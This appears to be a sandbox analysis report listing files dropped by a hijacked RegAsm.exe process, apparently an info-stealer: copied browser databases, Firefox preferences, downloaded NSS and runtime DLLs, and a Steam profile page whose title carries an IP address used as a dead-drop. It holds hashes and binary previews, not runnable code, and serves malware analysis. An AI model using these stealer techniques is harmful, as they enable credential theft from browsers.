Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\FBFHJJ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\FBFHJJ-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\FHDAFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\FIEHII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DBFCBGCGIJKJ\GHJDBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\HCFIJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\IEHCAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\IEHCAK-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\KEBFBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\KJKJJE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5C8BGNPCno.exe, Detection: malicious, Browse Filename: 66AF3M5zgO.exe, Detection: malicious, Browse Filename: sSX92EpKXA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tTcrJ0HtoJ.exe, Detection: malicious, Browse Filename: l2XteV3M4u.exe, Detection: malicious, Browse Filename: 7067B48pY6.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5C8BGNPCno.exe, Detection: malicious, Browse Filename: 66AF3M5zgO.exe, Detection: malicious, Browse Filename: sSX92EpKXA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tTcrJ0HtoJ.exe, Detection: malicious, Browse Filename: l2XteV3M4u.exe, Detection: malicious, Browse Filename: 7067B48pY6.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFCBGCGIJKJ\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\sqls[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\76561199689717899[1].htm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (3041), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	35638
Entropy (8bit):	5.381496025911681
Encrypted:	false
SSDEEP:	768:j7pqLtWYmwt5D0gqOciNGA7PzzgiJmDzJtxvrfukPco1AUmPzzgiJmDzJtxvJ2Sm:j78LtWYmwt5D0gqOcc7PzzgiJmDzJtxy
MD5:	A751191FBA24C5F431CCA2D021952D1D
SHA1:	F478B2FF9C3388CA5BC03EE2465782DD999CACC7
SHA-256:	3594B4D65F6C788A65C254B7AE427B34487790A970E32FAB79E7F93185F92C41
SHA-512:	BBBF3238A1739C359F91AF5C802E5D9D40CE616FF5B093CCDB21563B9F9DF87C3494272C366F41B8E42F81FC64F00FF3D5A16D56B7B98EFB7511A58F46FEF582
Malicious:	false
Preview:	<!DOCTYPE html>..<html class=" responsive" lang="en">..<head>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">.....<meta name="viewport" content="width=device-width,initial-scale=1">....<meta name="theme-color" content="#171a21">....<title>Steam Community :: r0is https://78.47.123.174\|</title>...<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">...........<link href="https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=E0c90DJSB6Ld&l=english&_cdn=cloudflare" rel="stylesheet" type="text/css" >.<link href="https://community.cloudflare.steamstatic.com/public/css/globalv2.cs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
